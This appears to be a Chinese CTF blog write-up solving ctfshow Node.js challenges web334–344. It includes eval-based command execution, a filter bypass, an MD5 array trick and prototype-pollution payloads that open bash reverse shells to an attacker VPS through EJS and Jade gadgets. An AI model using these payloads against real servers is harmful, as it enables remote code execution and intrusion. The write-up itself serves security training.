Ctfshow nodejs

web334

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;
这是一个基于Node.js和Express框架的路由文件,该路由提供一个POST接口用于用户登录。代码逻辑主要如下:
1. 引入Express库:var express = require('express');
2. 创建路由对象:var router = express.Router();
3. 引入用户信息:var users = require('../modules/user').items;
4. 定义一个函数findUser用于查找用户,并返回匹配的用户信息或null;
5. 定义路由POST接口:router.post('/', function(req, res, next) {...});
6. 在路由POST接口中,初始化请求的Content-Type为html:res.type('html');
7. 定义flag变量为一个字符串,用于返回给客户端(应该是题目要求的Flag):var flag='flag_here';
8. 获取Session对象:var sess = req.session;
9. 调用findUser函数查找用户,并根据查找结果响应不同的处理(登录成功或失败):
  - 如果找到了用户(user存在),则重置Session,将用户信息保存到Session中,
  并返回“登录成功”及flag:req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
  - 如果未找到用户(user不存在),则直接返回“账号或密码错误”:res.json({ret_code: 1, ret_msg: '账号或密码错误'});
最后,将路由对象导出:module.exports = router;

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了

web335

查看页面源代码

get传参 eval然后执行

require('child_process').spawnSync('ls',['.']).stdout.toString()
解释一下这串代码:
require Node.js 中用来引入模块的函数,在这里引用了 Node.js child_process 模块
child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它
执行系统命令、 shell 脚本等。其中包含有 spawnSync() 方法, spawnSync 函数可以用来执行系统命令
spawnSync('ls',['.']) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, ... 代表上一级
目录 …/… 代表上上级目录
这中间用于连接的两个点是用来访问对象属性的
'stdout’ 是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里
toString() 转换为字符串
payload 执行成功后,页面回显

 发现了里面有fl00g,txt,应该就是存放flag的文件了

构造payload

require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

web336

和上一题一样样的,只是将文件名由 fl00g.txt 改为了 fl001g.txt
get传参?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')查看源码
发现ban了

   exec和load 

还有师傅想到可以用拼接来绕过过滤:

?eval=require("child_process")['exe'%2B'cSync']('ls')

 %2B就是+

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;
看起来像是 MD5 绕过,要求两个参数值长度一样, MD5 加密后值一样
因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同
这里是强类型比较,不能用 0e 开头的那几个数
利用数组绕过
?a[1]=1&b[1]=1
输入对象是两个 对象 类型时,在经过加法运算后的值是一样的(那么 MD5 加密后的值也
是一样的)

web338(原型链污染漏洞)

查看源码

secert.ctfshow==='36dboy'
主要发现secert这个对象的ctfshow为36dboy就能拿到flag
思路就是利用 utils.copy(user,req.body); 这串代码了,从代码中可得知,接收的参数是 POST请求的数据,会保存在 req.body 中,然后 copy 函数将其中的值赋予给 user
secret 对象直接继承了 Object.prototype ,所以污染 Object.prototype 即可
构造payload:
{"__proto__":{"ctfshow":"36dboy"}}

web339

这里多了一个api.js文件

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

Function(query)(query)这个很奇怪,查了大佬写的知道这个会执行query的命令。,我们可以使用变量覆盖,将query的值作为反弹shell的点。

具体操作:

先连接vps,开启端口监听。

使用vps反弹的一点小问题

遇到了和这个博主一样的问题:

之前买过一个北京的阿里云 VPS,打算用来反弹 shell,但是安装了 NC 后发现无法监听某端口,会显示 nc: cannot use -p and -l,一直不知道这是什么原因,因为我香港的 VPS 是可以用 NC 反弹 shell 的,我比较了一下这两个 VPS 中的 NC,发现了一个问题:在用 yum list nc 命令的时候,北京 VPS 显示我安装的是 netcat,香港的 VPS 显示我安装的是 nmap-ncat。我突然明白了问题所在,我两个 VPS 用了不同的源,导致安装的 NC 不是同一个版本,这个版本的 netcat 不支持 -lvp 命令,我用 yum remove nc 卸载后,重新指定了新的 NC,命令:yum install nmap-ncat。经过测试,北京的 VPS 也可以反弹 shell 了。

还有就是要关闭端口的防火墙,不然无法连接

关闭防火墙服务

systemctl stop firewalld.service

查看9999端口

firewall-cmd --zone=public --query-port=9999/tcp

然后bp抓包,访问/login,实现query值的覆盖,再访问/api来执行query的值。

payload

{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/<ip>/端口 0>&1\"')"}}

 然后删除payload,将post,后面改成api,再次send即可

 回到vps发现连接成功,ls查看

 flag在routes/login.js中

web340

login.js源码

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

user对象套了俩层,user里面有个userinfo属性,userinfo的原型是user,user的原型才是object,所以要多加一层__proto__,需要isAdmin为true。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

和上面操作一样,反弹shell。

web341 

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
 
 
 
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});
 
module.exports = router;

没有api.js了,这道题开启了ejs渲染,用RCE

payload:

{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ip>/端口 0>&1\"'); //"}}}

然后用post随便访问一个js,之后输入env查看环境变量,里面有flag。

web342-343

涉及到jade原型链污染:再探 JavaScript 原型链污染到 RCE - 先知社区

看了其他师傅的方法,但是自己没有弄出来,不知道为啥自己抓的包和师傅们出入很大。

操作大概和上面的题目差不多。

发包的时候请求头中的“Content-Type”改为"application/json"

payload:

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

找flag依旧是env 

web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了逗号和逗号的url编码2C,我们用“&”连接三个属性,NodeJS会自动拼接:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

不过还需要对属性进行url编码,payload:

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值